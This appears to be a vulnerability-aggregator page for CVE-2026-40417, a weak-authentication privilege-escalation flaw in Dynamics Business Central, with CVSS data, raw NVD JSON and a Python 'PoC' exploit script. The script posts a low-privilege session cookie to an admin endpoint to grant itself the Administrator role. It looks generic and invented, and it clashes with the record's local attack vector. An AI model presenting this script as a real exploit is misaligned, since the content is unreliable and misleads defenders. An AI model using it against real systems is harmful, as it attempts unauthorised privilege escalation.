Security Vulnerability Report
中文
CVE-2026-40417 CVSS 7.8 HIGH

CVE-2026-40417

Published: 2026-05-12 18:17:20
Last Modified: 2026-05-13 15:34:53

Description

Weak authentication in Dynamics Business Central allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Microsoft Dynamics 365 Business Central < 修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40417: Weak Authentication Privilege Escalation # This script demonstrates how a low-privilege user might bypass weak auth checks. # NOTE: For educational purposes only. Do not run against systems you do not own. import requests def attempt_exploit(target_url, session_cookie): """ Attempts to exploit the weak authentication to elevate privileges. """ headers = { "Cookie": f"SessionId={session_cookie}", "Content-Type": "application/json" } # Simulate a request that should require Admin privileges # Due to weak auth, this endpoint might accept the low-priv session payload = { "action": "update_user_permissions", "target_user": "current_user", "new_role": "Administrator" } try: response = requests.post(f"{target_url}/api/admin/config", json=payload, headers=headers, verify=False) if response.status_code == 200 and "success" in response.text: print("[+] Exploit successful! Privileges escalated.") return True else: print("[-] Exploit failed. Server returned:", response.status_code) return False except Exception as e: print(f"[-] An error occurred: {e}") return False if __name__ == "__main__": # Example usage print("CVE-2026-40417 PoC - Dynamics Business Central") # attempt_exploit("http://target-server", "low_priv_session_token")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40417", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:19.817", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weak authentication in Dynamics Business Central allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1390"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417", "source": "[email protected]"}]}}